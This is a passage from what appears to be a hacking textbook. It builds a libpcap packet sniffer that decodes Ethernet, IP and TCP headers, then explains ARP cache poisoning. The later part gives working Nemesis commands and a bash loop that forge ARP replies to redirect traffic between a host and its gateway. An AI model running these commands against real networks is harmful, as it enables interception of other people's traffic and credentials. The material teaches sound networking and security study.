In our packet captures, the outermost layer is Ethernet, which is also the lowest visible layer. This layer is used to send data between Ethernet endpoints with MAC addresses. The header for this layer contains the source MAC address, the destination MAC address, and a 16-bit value that describes the type of Ethernet packet. On Linux, the structure for this header is defined in /usr/include/linux/if_ethernet.h and the structures for the IP header and TCP header are located in /usr/include/netinet/ip.h and /usr/include/ netinet/tcp.h, respectively. The source code for tcpdump also has structures for these headers, or we could just create our own header structures based on the RFCs. A better understanding can be gained from writing our own structures, so let's use the structure definitions as guidance to create our own packet header structures to include in hacking-network.h.

First, let's look at the existing definition of the Ethernet header.

From /usr/include/if_ether.h

#define ETH_ALEN 6 /* Octets in one ethernet addr */

#define ETH_HLEN 14 /* Total octets in header */

/*

* This is an Ethernet frame header.

*/

struct ethhdr {

unsigned char h_dest[ETH_ALEN]; /* Destination eth addr */

unsigned char h_source[ETH_ALEN]; /* Source ether addr */

__be16 h_proto; /* Packet type ID field */

} __attribute__((packed));

This structure contains the three elements of an Ethernet header. The variable declaration of __be16 turns out to be a type definition for a 16-bit unsigned short integer. This can be determined by recursively grepping for the type definition in the include files.

reader@hacking:~/booksrc $

$ grep -R "typedef.*__be16" /usr/include

/usr/include/linux/types.h:typedef __u16 __bitwise __be16;

$ grep -R "typedef.*__u16" /usr/include | grep short

/usr/include/linux/i2o-dev.h:typedef unsigned short __u16;

/usr/include/linux/cramfs_fs.h:typedef unsigned short __u16;

/usr/include/asm/types.h:typedef unsigned short __u16;

$

The include file also defines the Ethernet header length in ETH_HLEN as 14 bytes. This adds up, since the source and destination MAC addresses use 6 bytes each, and the packet type field is a 16-bit short integer that takes up 2 bytes. However, many compilers will pad structures along 4-byte boundaries for alignment, which means that sizeof(struct ethhdr) would return an incorrect size. To avoid this, ETH_HLEN or a fixed value of 14 bytes should be used for the Ethernet header length.

By including <linux/if_ether.h>, these other include files containing the required __be16 type definition are also included. Since we want to make our own structures for hacking-network.h, we should strip out references to unknown type definitions. While we're at it, let's give these fields better names.

Added to hacking-network.h

#define ETHER_ADDR_LEN 6

#define ETHER_HDR_LEN 14

struct ether_hdr {

unsigned char ether_dest_addr[ETHER_ADDR_LEN]; // Destination MAC address

unsigned char ether_src_addr[ETHER_ADDR_LEN]; // Source MAC address

unsigned short ether_type; // Type of Ethernet packet

};

We can do the same thing with the IP and TCP structures, using the corresponding structures and RFC diagrams as a reference.

From /usr/include/netinet/ip.h

struct iphdr

{

#if __BYTE_ORDER == __LITTLE_ENDIAN

unsigned int ihl:4;

unsigned int version:4;

#elif __BYTE_ORDER == __BIG_ENDIAN

unsigned int version:4;

unsigned int ihl:4;

#else

# error "Please fix <bits/endian.h>"

#endif

u_int8_t tos;

u_int16_t tot_len;

u_int16_t id;

u_int16_t frag_off;

u_int8_t ttl;

u_int8_t protocol;

u_int16_t check;

u_int32_t saddr;

u_int32_t daddr;

/*The options start here. */

};

From RFC 791

0 1 2 3

0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

|Version| IHL |Type of Service| Total Length |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| Identification |Flags| Fragment Offset |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| Time to Live | Protocol | Header Checksum |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| Source Address |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| Destination Address |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| Options | Padding |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Example Internet Datagram Header

Each element in the structure corresponds to the fields shown in the RFC header diagram. Since the first two fields, Version and IHL (Internet Header Length) are only four bits in size and there aren't any 4-bit variable types in C, the Linux header definition splits the byte differently depending on the byte order of the host. These fields are in the network byte order, so, if the host is little-endian, the IHL should come before Version since the byte order is reversed. For our purposes, we won't really be using either of these fields, so we don't even need to split up the byte.

Added to hacking-network.h

struct ip_hdr {

unsigned char ip_version_and_header_length; // Version and header length

unsigned char ip_tos; // Type of service

unsigned short ip_len; // Total length

unsigned short ip_id; // Identification number

unsigned short ip_frag_offset; // Fragment offset and flags

unsigned char ip_ttl; // Time to live

unsigned char ip_type; // Protocol type

unsigned short ip_checksum; // Checksum

unsigned int ip_src_addr; // Source IP address

unsigned int ip_dest_addr; // Destination IP address

};

The compiler padding, as mentioned earlier, will align this structure on a 4-byte boundary by padding the rest of the structure. IP headers are always 20 bytes.

For the TCP packet header, we reference /usr/include/netinet/tcp.h for the structure and RFC 793 for the header diagram.

From /usr/include/netinet/tcp.h

typedef u_int32_t tcp_seq;

/*

* TCP header.

* Per RFC 793, September, 1981.

*/

struct tcphdr

{

u_int16_t th_sport; /* source port */

u_int16_t th_dport; /* destination port */

tcp_seq th_seq; /* sequence number */

tcp_seq th_ack; /* acknowledgment number */

# if __BYTE_ORDER == __LITTLE_ENDIAN

u_int8_t th_x2:4; /* (unused) */

u_int8_t th_off:4; /* data offset */

# endif

# if __BYTE_ORDER == __BIG_ENDIAN

u_int8_t th_off:4; /* data offset */

u_int8_t th_x2:4; /* (unused) */

# endif

u_int8_t th_flags;

# define TH_FIN 0x01

# define TH_SYN 0x02

# define TH_RST 0x04

# define TH_PUSH 0x08

# define TH_ACK 0x10

# define TH_URG 0x20

u_int16_t th_win; /* window */

u_int16_t th_sum; /* checksum */

u_int16_t th_urp; /* urgent pointer */

};

From RFC 793

TCP Header Format

0 1 2 3

0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| Source Port | Destination Port |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| Sequence Number |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| Acknowledgment Number |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| Data | |U|A|P|R|S|F| |

| Offset| Reserved |R|C|S|S|Y|I| Window |

| | |G|K|H|T|N|N| |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| Checksum | Urgent Pointer |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| Options | Padding |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| data |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Data Offset: 4 bits

The number of 32 bit words in the TCP Header. This indicates where

the data begins. The TCP header (even one including options) is an

integral number of 32 bits long.

Reserved: 6 bits

Reserved for future use. Must be zero.

Options: variable

Linux's tcphdr structure also switches the ordering of the 4-bit data offset field and the 4-bit section of the reserved field depending on the host's byte order. The data offset field is important, since it tells the size of the variablelength TCP header. You might have noticed that Linux's tcphdr structure doesn't save any space for TCP options. This is because the RFC defines this field as optional. The size of the TCP header will always be 32-bit-aligned, and the data offset tells us how many 32-bit words are in the header. So the TCP header size in bytes equals the data offset field from the header times four. Since the data offset field is required to calculate the header size, we'll split the byte containing it, assuming little-endian host byte ordering.

The th_flags field of Linux's tcphdr structure is defined as an 8-bit unsigned character. The values defined below this field are the bitmasks that correspond to the six possible flags.

Added to hacking-network.h

struct tcp_hdr {

unsigned short tcp_src_port; // Source TCP port

unsigned short tcp_dest_port; // Destination TCP port

unsigned int tcp_seq; // TCP sequence number

unsigned int tcp_ack; // TCP acknowledgment number

unsigned char reserved:4; // 4 bits from the 6 bits of reserved space

unsigned char tcp_offset:4; // TCP data offset for little-endian host

unsigned char tcp_flags; // TCP flags (and 2 bits from reserved space)

#define TCP_FIN 0x01

#define TCP_SYN 0x02

#define TCP_RST 0x04

#define TCP_PUSH 0x08

#define TCP_ACK 0x10

#define TCP_URG 0x20

unsigned short tcp_window; // TCP window size

unsigned short tcp_checksum; // TCP checksum

unsigned short tcp_urgent; // TCP urgent pointer

};

Now that the headers are defined as structures, we can write a program to decode the layered headers of each packet. But before we do, let's talk about libpcap for a moment. This library has a function called pcap_loop(), which is a better way to capture packets than just looping on a pcap_next()call. Very few programs actually use pcap_next(), because it's clumsy and inefficient. The pcap_loop() function uses a callback function. This means the pcap_loop() function is passed a function pointer, which is called every time a packet is captured. The prototype for pcap_loop() is as follows:

int pcap_loop(pcap_t *handle, int count, pcap_handler callback, u_char *args);

The first argument is the pcap's handle, the next one is a count of how many packets to capture, and the third is a function pointer to the callback function. If the count argument is set to -1, it will loop until the program breaks out of it. The final argument is an optional pointer that will get passed to the callback function. Naturally, the callback function needs to follow a certain prototype, since pcap_loop() must call this function. The callback function can be named whatever you like, but the arguments must be as follows:

void callback(u_char *args, const struct pcap_pkthdr *cap_header, const u_char *packet);

The first argument is just the optional argument pointer from the last argument to pcap_loop(). It can be used to pass additional information to the callback function, but we aren't going to be using this. The next two arguments should be familiar from pcap_next(): a pointer to the capture header and a pointer to the packet itself.

The following example code uses pcap_loop() with a callback function to capture packets and our header structures to decode them. This program will be explained as the code is listed.

decode_sniff.c

#include <pcap.h>

#include "hacking.h"

#include "hacking-network.h"

void pcap_fatal(const char *, const char *);

void decode_ethernet(const u_char *);

void decode_ip(const u_char *);

u_int decode_tcp(const u_char *);

void caught_packet(u_char *, const struct pcap_pkthdr *, const u_char *);

int main() {

struct pcap_pkthdr cap_header;

const u_char *packet, *pkt_data;

char errbuf[PCAP_ERRBUF_SIZE];

char *device;

pcap_t *pcap_handle;

device = pcap_lookupdev(errbuf);

if(device == NULL)

pcap_fatal("pcap_lookupdev", errbuf);

printf("Sniffing on device %s\n", device);

pcap_handle = pcap_open_live(device, 4096, 1, 0, errbuf);

if(pcap_handle == NULL)

pcap_fatal("pcap_open_live", errbuf);

pcap_loop(pcap_handle, 3, caught_packet, NULL);

pcap_close(pcap_handle);

}

At the beginning of this program, the prototype for the callback function, called caught_packet(), is declared along with several decoding functions. Everything else in main() is basically the same, except that the for loop has been replaced with a single call to pcap_loop(). This function is passed the pcap_handle, told to capture three packets, and pointed to the callback function, caught_packet(). The final argument is NULL, since we don't have any additional data to pass along to caught_packet(). Also, notice that the decode_tcp()function returns a u_int. Since the TCP header length is variable, this function returns the length of the TCP header.

void caught_packet(u_char *user_args, const struct pcap_pkthdr *cap_header, const u_char

*packet) {

int tcp_header_length, total_header_size, pkt_data_len;

u_char *pkt_data;

printf("==== Got a %d byte packet ====\n", cap_header->len);

decode_ethernet(packet);

decode_ip(packet+ETHER_HDR_LEN);

tcp_header_length = decode_tcp(packet+ETHER_HDR_LEN+sizeof(struct ip_hdr));

total_header_size = ETHER_HDR_LEN+sizeof(struct ip_hdr)+tcp_header_length;

pkt_data = (u_char *)packet + total_header_size; // pkt_data points to the data

portion.

pkt_data_len = cap_header->len - total_header_size;

if(pkt_data_len > 0) {

printf("\t\t\t%u bytes of packet data\n", pkt_data_len);

dump(pkt_data, pkt_data_len);

} else

printf("\t\t\tNo Packet Data\n");

}

void pcap_fatal(const char *failed_in, const char *errbuf) {

printf("Fatal Error in %s: %s\n", failed_in, errbuf);

exit(1);

}

The caught_packet() function gets called whenever pcap_loop() captures a packet. This function uses the header lengths to split the packet up by layers and the decoding functions to print out details of each layer's header.

void decode_ethernet(const u_char *header_start) {

int i;

const struct ether_hdr *ethernet_header;

ethernet_header = (const struct ether_hdr *)header_start;

printf("[[ Layer 2 :: Ethernet Header ]]\n");

printf("[ Source: %02x", ethernet_header->ether_src_addr[0]);

for(i=1; i < ETHER_ADDR_LEN; i++)

printf(":%02x", ethernet_header->ether_src_addr[i]);

printf("\tDest: %02x", ethernet_header->ether_dest_addr[0]);

for(i=1; i < ETHER_ADDR_LEN; i++)

printf(":%02x", ethernet_header->ether_dest_addr[i]);

printf("\tType: %hu ]\n", ethernet_header->ether_type);

}

void decode_ip(const u_char *header_start) {

const struct ip_hdr *ip_header;

ip_header = (const struct ip_hdr *)header_start;

printf("\t(( Layer 3 ::: IP Header ))\n");

printf("\t( Source: %s\t", inet_ntoa(ip_header->ip_src_addr));

printf("Dest: %s )\n", inet_ntoa(ip_header->ip_dest_addr));

printf("\t( Type: %u\t", (u_int) ip_header->ip_type);

printf("ID: %hu\tLength: %hu )\n", ntohs(ip_header->ip_id), ntohs(ip_header->ip_len));

}

u_int decode_tcp(const u_char *header_start) {

u_int header_size;

const struct tcp_hdr *tcp_header;

tcp_header = (const struct tcp_hdr *)header_start;

header_size = 4 * tcp_header->tcp_offset;

printf("\t\t{{ Layer 4 :::: TCP Header }}\n");

printf("\t\t{ Src Port: %hu\t", ntohs(tcp_header->tcp_src_port));

printf("Dest Port: %hu }\n", ntohs(tcp_header->tcp_dest_port));

printf("\t\t{ Seq #: %u\t", ntohl(tcp_header->tcp_seq));

printf("Ack #: %u }\n", ntohl(tcp_header->tcp_ack));

printf("\t\t{ Header Size: %u\tFlags: ", header_size);

if(tcp_header->tcp_flags & TCP_FIN)

printf("FIN ");

if(tcp_header->tcp_flags & TCP_SYN)

printf("SYN ");

if(tcp_header->tcp_flags & TCP_RST)

printf("RST ");

if(tcp_header->tcp_flags & TCP_PUSH)

printf("PUSH ");

if(tcp_header->tcp_flags & TCP_ACK)

printf("ACK ");

if(tcp_header->tcp_flags & TCP_URG)

printf("URG ");

printf(" }\n");

return header_size;

}

The decoding functions are passed a pointer to the start of the header, which is typecast to the appropriate structure. This allows accessing various fields of the header, but it's important to remember these values will be in network byte order. This data is straight from the wire, so the byte order needs to be converted for use on an x86 processor.

reader@hacking:~/booksrc $ gcc -o decode_sniff decode_sniff.c -lpcap

reader@hacking:~/booksrc $ sudo ./decode_sniff

Sniffing on device eth0

==== Got a 75 byte packet ====

[[ Layer 2 :: Ethernet Header ]]

[ Source: 00:01:29:15:65:b6 Dest: 00:01:6c:eb:1d:50 Type: 8 ]

(( Layer 3 ::: IP Header ))

( Source: 192.168.42.1 Dest: 192.168.42.249 )

( Type: 6 ID: 7755 Length: 61 )

{{ Layer 4 :::: TCP Header }}

{ Src Port: 35602 Dest Port: 7890 }

{ Seq #: 2887045274 Ack #: 3843058889 }

{ Header Size: 32 Flags: PUSH ACK }

9 bytes of packet data

74 65 73 74 69 6e 67 0d 0a | testing..

==== Got a 66 byte packet ====

[[ Layer 2 :: Ethernet Header ]]

[ Source: 00:01:6c:eb:1d:50 Dest: 00:01:29:15:65:b6 Type: 8 ]

(( Layer 3 ::: IP Header ))

( Source: 192.168.42.249 Dest: 192.168.42.1 )

( Type: 6 ID: 15678 Length: 52 )

{{ Layer 4 :::: TCP Header }}

{ Src Port: 7890 Dest Port: 35602 }

{ Seq #: 3843058889 Ack #: 2887045283 }

{ Header Size: 32 Flags: ACK }

No Packet Data

==== Got a 82 byte packet ====

[[ Layer 2 :: Ethernet Header ]]

[ Source: 00:01:29:15:65:b6 Dest: 00:01:6c:eb:1d:50 Type: 8 ]

(( Layer 3 ::: IP Header ))

( Source: 192.168.42.1 Dest: 192.168.42.249 )

( Type: 6 ID: 7756 Length: 68 )

{{ Layer 4 :::: TCP Header }}

{ Src Port: 35602 Dest Port: 7890 }

{ Seq #: 2887045283 Ack #: 3843058889 }

{ Header Size: 32 Flags: PUSH ACK }

16 bytes of packet data

74 68 69 73 20 69 73 20 61 20 74 65 73 74 0d 0a | this is a test..

reader@hacking:~/booksrc $

With the headers decoded and separated into layers, the TCP/IP connection is much easier to understand. Notice which IP addresses are associated with which MAC address. Also, notice how the sequence number in the two packets from 192.168.42.1 (the first and last packet) increases by nine, since the first packet contained nine bytes of actual data: 2887045283 – 2887045274 = 9. This is used by the TCP protocol to make sure all of the data arrives in order, since packets could be delayed for various reasons.

Despite all of the mechanisms built into the packet headers, the packets are still visible to anyone on the same network segment. Protocols such as FTP, POP3, and telnet transmit data without encryption. Even without the assistance of a tool like dsniff, it's fairly trivial for an attacker sniffing the network to find the usernames and passwords in these packets and use them to compromise other systems. From a security perspective, this isn't too good, so more intelligent switches provide switched network environments.

Active Sniffing

In a switched network environment, packets are only sent to the port they are destined for, according to their destination MAC addresses. This requires more intelligent hardware that can create and maintain a table associating MAC addresses with certain ports, depending on which device is connected to each port, as illustrated here.

The advantage of a switched environment is that devices are only sent packets that are meant for them, so that promiscuous devices aren't able to sniff any additional packets. But even in a switched environment, there are clever ways to sniff other devices' packets; they just tend to be a bit more complex. In order to find hacks like these, the details of the protocols must be examined and then combined.

One important aspect of network communications that can be manipulated for interesting effects is the source address. There's no provision in these protocols to ensure that the source address in a packet really is the address of the source machine. The act of forging a source address in a packet is known as spoofing. The addition of spoofing to your bag of tricks greatly increases the number of possible hacks, since most systems expect the source address to be valid.

Figure 0x400-7.

Spoofing is the first step in sniffing packets on a switched network. The other two interesting details are found in ARP. First, when an ARP reply comes in with an IP address that already exists in the ARP cache, the receiving system will overwrite the prior MAC address information with the new information found in the reply (unless that entry in the ARP cache was explicitly marked as permanent). Second, no state information about the ARP traffic is kept, since this would require additional memory and would complicate a protocol that is meant to be simple. This means systems will accept an ARP reply even if they didn't send out an ARP request.

These three details, when exploited properly, allow an attacker to sniff network traffic on a switched network using a technique known as ARP redirection. The attacker sends spoofed ARP replies to certain devices that cause the ARP cache entries to be overwritten with the attacker's data. This technique is called ARP cache poisoning. In order to sniff network traffic between two points, A and B, the attacker needs to poison the ARP cache of A to cause A to believe that B's IP address is at the attacker's MAC address, and also poison the ARP cache of B to cause B to believe that A's IP address is also at the attacker's MAC address. Then the attacker's machine simply needs to forward these packets to their appropriate final destinations. After that, all of the traffic between A and B still gets delivered, but it all flows through the attacker's machine, as shown here.

Figure 0x400-8.

Since A and B are wrapping their own Ethernet headers on their packets based on their respective ARP caches, A's IP traffic meant for B is actually sent to the attacker's MAC address, and vice versa. The switch only filters traffic based on MAC address, so the switch will work as it's designed to, sending A's and B's IP traffic, destined for the attacker's MAC address, to the attacker's port. Then the attacker rewraps the IP packets with the proper Ethernet headers and sends them back to the switch, where they are finally routed to their proper destination. The switch works properly; it's the victim machines that are tricked into redirecting their traffic through the attacker's machine.

Due to timeout values, the victim machines will periodically send out real ARP requests and receive real ARP replies in response. In order to maintain the redirection attack, the attacker must keep the victim machine's ARP caches poisoned. A simple way to accomplish this is to send spoofed ARP replies to both A and B at a constant interval—for example, every 10 seconds.

A gateway is a system that routes all the traffic from a local network out to the Internet. ARP redirection is particularly interesting when one of the victim machines is the default gateway, since the traffic between the default gateway and another system is that system's Internet traffic. For example, if a machine at 192.168.0.118 is communicating with the gateway at 192.168.0.1 over a switch, the traffic will be restricted by MAC address. This means that this traffic cannot normally be sniffed, even in promiscuous mode. In order to sniff this traffic, it must be redirected.

To redirect the traffic, first the MAC addresses of 192.168.0.118 and 192.168.0.1 need to be determined. This can be done by pinging these hosts, since any IP connection attempt will use ARP. If you run a sniffer, you can see the ARP communications, but the OS will cache the resulting IP/MAC address associations.

reader@hacking:~/booksrc $ ping -c 1 -w 1 192.168.0.1

PING 192.168.0.1 (192.168.0.1): 56 octets data

64 octets from 192.168.0.1: icmp_seq=0 ttl=64 time=0.4 ms

--- 192.168.0.1 ping statistics ---

1 packets transmitted, 1 packets received, 0% packet loss

round-trip min/avg/max = 0.4/0.4/0.4 ms

reader@hacking:~/booksrc $ ping -c 1 -w 1 192.168.0.118

PING 192.168.0.118 (192.168.0.118): 56 octets data

64 octets from 192.168.0.118: icmp_seq=0 ttl=128 time=0.4 ms

--- 192.168.0.118 ping statistics ---

1 packets transmitted, 1 packets received, 0% packet loss

round-trip min/avg/max = 0.4/0.4/0.4 ms

reader@hacking:~/booksrc $ arp -na

? (192.168.0.1) at 00:50:18:00:0F:01 [ether] on eth0

? (192.168.0.118) at 00:C0:F0:79:3D:30 [ether] on eth0

reader@hacking:~/booksrc $ ifconfig eth0

eth0 Link encap:Ethernet HWaddr 00:00:AD:D1:C7:ED

inet addr:192.168.0.193 Bcast:192.168.0.255 Mask:255.255.255.0

UP BROADCAST NOTRAILERS RUNNING MTU:1500 Metric:1

RX packets:4153 errors:0 dropped:0 overruns:0 frame:0

TX packets:3875 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:100

RX bytes:601686 (587.5 Kb) TX bytes:288567 (281.8 Kb)

Interrupt:9 Base address:0xc000

reader@hacking:~/booksrc $

After pinging, the MAC addresses for both 192.168.0.118 and 192.168.0.1 are in the attacker's ARP cache. This way, packets can reach their final destinations after being redirected to the attacker's machine. Assuming IP forwarding capabilities are compiled into the kernel, all we need to do is send some spoofed ARP replies at regular intervals. 192.168.0.118 needs to be told that 192.168.0.1 is at 00:00:AD:D1:C7:ED, and 192.168.0.1 needs to be told that 192.168.0.118 is also at 00:00:AD:D1:C7:ED. These spoofed ARP packets can be injected using a command-line packet injection tool called Nemesis. Nemesis was originally a suite of tools written by Mark Grimes, but in the most recent version 1.4, all functionality has been rolled up into a single utility by the new maintainer and developer, Jeff Nathan. The source code for Nemesis is on the LiveCD at /usr/src/nemesis-1.4/, and it has already been built and installed.

reader@hacking:~/booksrc $ nemesis

NEMESIS -=- The NEMESIS Project Version 1.4 (Build 26)

NEMESIS Usage:

nemesis [mode] [options]

NEMESIS modes:

arp

dns

ethernet

icmp

igmp

ip

ospf (currently non-functional)

rip

tcp

udp

NEMESIS options:

To display options, specify a mode with the option "help".

reader@hacking:~/booksrc $ nemesis arp help

ARP/RARP Packet Injection -=- The NEMESIS Project Version 1.4 (Build 26)

ARP/RARP Usage:

arp [-v (verbose)] [options]

ARP/RARP Options:

-S <Source IP address>

-D <Destination IP address>

-h <Sender MAC address within ARP frame>

-m <Target MAC address within ARP frame>

-s <Solaris style ARP requests with target hardware addess set to broadcast>

-r ({ARP,RARP} REPLY enable)

-R (RARP enable)

-P <Payload file>

Data Link Options:

-d <Ethernet device name>

-H <Source MAC address>

-M <Destination MAC address>

You must define a Source and Destination IP address.

reader@hacking:~/booksrc $ sudo nemesis arp -v -r -d eth0 -S 192.168.0.1 -D

192.168.0.118 -h 00:00:AD:D1:C7:ED -m 00:C0:F0:79:3D:30 -H 00:00:AD:D1:C7:ED -

M 00:C0:F0:79:3D:30

ARP/RARP Packet Injection -=- The NEMESIS Project Version 1.4 (Build 26)

[MAC] 00:00:AD:D1:C7:ED > 00:C0:F0:79:3D:30

[Ethernet type] ARP (0x0806)

[Protocol addr:IP] 192.168.0.1 > 192.168.0.118

[Hardware addr:MAC] 00:00:AD:D1:C7:ED > 00:C0:F0:79:3D:30

[ARP opcode] Reply

[ARP hardware fmt] Ethernet (1)

[ARP proto format] IP (0x0800)

[ARP protocol len] 6

[ARP hardware len] 4

Wrote 42 byte unicast ARP request packet through linktype DLT_EN10MB

ARP Packet Injected

reader@hacking:~/booksrc $ sudo nemesis arp -v -r -d eth0 -S 192.168.0.118 -D

192.168.0.1 -h 00:00:AD:D1:C7:ED -m 00:50:18:00:0F:01 -H 00:00:AD:D1:C7:ED -M

00:50:18:00:0F:01

ARP/RARP Packet Injection -=- The NEMESIS Project Version 1.4 (Build 26)

[MAC] 00:00:AD:D1:C7:ED > 00:50:18:00:0F:01

[Ethernet type] ARP (0x0806)

[Protocol addr:IP] 192.168.0.118 > 192.168.0.1

[Hardware addr:MAC] 00:00:AD:D1:C7:ED > 00:50:18:00:0F:01

[ARP opcode] Reply

[ARP hardware fmt] Ethernet (1)

[ARP proto format] IP (0x0800)

[ARP protocol len] 6

[ARP hardware len] 4

Wrote 42 byte unicast ARP request packet through linktype DLT_EN10MB.

ARP Packet Injected

reader@hacking:~/booksrc $

These two commands spoof ARP replies from 192.168.0.1 to 192.168.0.118 and vice versa, both claiming that their MAC address is at the attacker's MAC address of 00:00:AD:D1:C7:ED. If these commands are repeated every 10 seconds, these bogus ARP replies will continue to keep the ARP caches poisoned and the traffic redirected. The standard BASH shell allows commands to be scripted, using familiar control flow statements. A simple BASH shell while loop is used below to loop forever, sending our two poisoning ARP replies every 10 seconds.

reader@hacking:~/booksrc $ while true

> do

> sudo nemesis arp -v -r -d eth0 -S 192.168.0.1 -D 192.168.0.118 -h

00:00:AD:D1:C7:ED -m 00:C0:F0:79:3D:30 -H 00:00:AD:D1:C7:ED -M

00:C0:F0:79:3D:30

> sudo nemesis arp -v -r -d eth0 -S 192.168.0.118 -D 192.168.0.1 -h

00:00:AD:D1:C7:ED -m 00:50:18:00:0F:01 -H 00:00:AD:D1:C7:ED -M

00:50:18:00:0F:01

> echo "Redirecting..."

> sleep 10

> done

ARP/RARP Packet Injection -=- The NEMESIS Project Version 1.4 (Build 26)

[MAC] 00:00:AD:D1:C7:ED > 00:C0:F0:79:3D:30

[Ethernet type] ARP (0x0806)

[Protocol addr:IP] 192.168.0.1 > 192.168.0.118

[Hardware addr:MAC] 00:00:AD:D1:C7:ED > 00:C0:F0:79:3D:30

[ARP opcode] Reply

[ARP hardware fmt] Ethernet (1)

[ARP proto format] IP (0x0800)

[ARP protocol len] 6

[ARP hardware len] 4

Wrote 42 byte unicast ARP request packet through linktype DLT_EN10MB.

ARP Packet Injected

ARP/RARP Packet Injection -=- The NEMESIS Project Version 1.4 (Build 26)

[MAC] 00:00:AD:D1:C7:ED > 00:50:18:00:0F:01

[Ethernet type] ARP (0x0806)

[Protocol addr:IP] 192.168.0.118 > 192.168.0.1

[Hardware addr:MAC] 00:00:AD:D1:C7:ED > 00:50:18:00:0F:01

[ARP opcode] Reply

[ARP hardware fmt] Ethernet (1)

[ARP proto format] IP (0x0800)

[ARP protocol len] 6

[ARP hardware len] 4

Wrote 42 byte unicast ARP request packet through linktype DLT_EN10MB.

ARP Packet Injected

Redirecting...

You can see how something as simple as Nemesis and the standard BASH shell can be used to quickly hack together a network exploit. Nemesis uses a C library called libnet to craft spoofed packets and inject them. Similar to libpcap, this library uses raw sockets and evens out the inconsistencies between platforms with a standardized interface. libnet also provides several convenient functions for dealing with network packets, such as checksum generation.

The libnet library provides a simple and uniform API to craft and inject network packets. It's well documented and the functions have descriptive names. A high-level glance at the source code for Nemesis shows how easy it is to craft ARP packets using libnet. The source file nemesis-arp.c contains several functions for crafting and injecting ARP packets, using statically defined data structures for the packet header information. The nemesis_arp()function shown below is called in nemesis.c to build and inject an ARP packet.

From nemesis-arp.c

static ETHERhdr etherhdr;

static ARPhdr arphdr;

...

void nemesis_arp(int argc, char **argv)

{

const char *module= "ARP/RARP Packet Injection";

nemesis_maketitle(title, module, version);

if (argc > 1 && !strncmp(argv[1], "help", 4))

arp_usage(argv[0]);

arp_initdata();

arp_cmdline(argc, argv);

arp_validatedata();

arp_verbose();

if (got_payload)

{

if (builddatafromfile(ARPBUFFSIZE, &pd, (const char *)file,

(const u_int32_t)PAYLOADMODE) < 0)

arp_exit(1);

}

if (buildarp(&etherhdr, &arphdr, &pd, device, reply) < 0)

{

printf("\n%s Injection Failure\n", (rarp == 0 ? "ARP" : "RARP"));

arp_exit(1);

}

else

{

printf("\n%s Packet Injected\n", (rarp == 0 ? "ARP" : "RARP"));

arp_exit(0);

}

}

The structures ETHERhdr and ARPhdr are defined in the file nemesis.h (shown below) as aliases for existing libnet data structures. In C, typedef is used to alias a data type with a symbol.

From nemesis.h

typedef struct libnet_arp_hdr ARPhdr;

typedef struct libnet_as_lsa_hdr ASLSAhdr;

typedef struct libnet_auth_hdr AUTHhdr;

typedef struct libnet_dbd_hdr DBDhdr;

typedef struct libnet_dns_hdr DNShdr;

typedef struct libnet_ethernet_hdr ETHERhdr;

typedef struct libnet_icmp_hdr ICMPhdr;

typedef struct libnet_igmp_hdr IGMPhdr;

typedef struct libnet_ip_hdr IPhdr;

The nemesis_arp() function calls a series of other functions from this file: arp_initdata(), arp_cmdline(), arp_validatedata(), and arp_verbose(). You can probably guess that these functions initialize data, process command-line arguments, validate data, and do some sort of verbose reporting. The arp_initdata() function does exactly this, initializing values in statically declared data structures.

The arp_initdata() function, shown below, sets various elements of the header structures to the appropriate values for an ARP packet.

From nemesis-arp.c

static void arp_initdata(void)

{

/* defaults */

etherhdr.ether_type = ETHERTYPE_ARP; /* Ethernet type ARP */

memset(etherhdr.ether_shost, 0, 6); /* Ethernet source address */

memset(etherhdr.ether_dhost, 0xff, 6); /* Ethernet destination address */

arphdr.ar_op = ARPOP_REQUEST; /* ARP opcode: request */

arphdr.ar_hrd = ARPHRD_ETHER; /* hardware format: Ethernet */

arphdr.ar_pro = ETHERTYPE_IP; /* protocol format: IP */

arphdr.ar_hln = 6; /* 6 byte hardware addresses */

arphdr.ar_pln = 4; /* 4 byte protocol addresses */

memset(arphdr.ar_sha, 0, 6); /* ARP frame sender address */

memset(arphdr.ar_spa, 0, 4); /* ARP sender protocol (IP) addr */

memset(arphdr.ar_tha, 0, 6); /* ARP frame target address */

memset(arphdr.ar_tpa, 0, 4); /* ARP target protocol (IP) addr */

pd.file_mem = NULL;

pd.file_s = 0;

return;

}

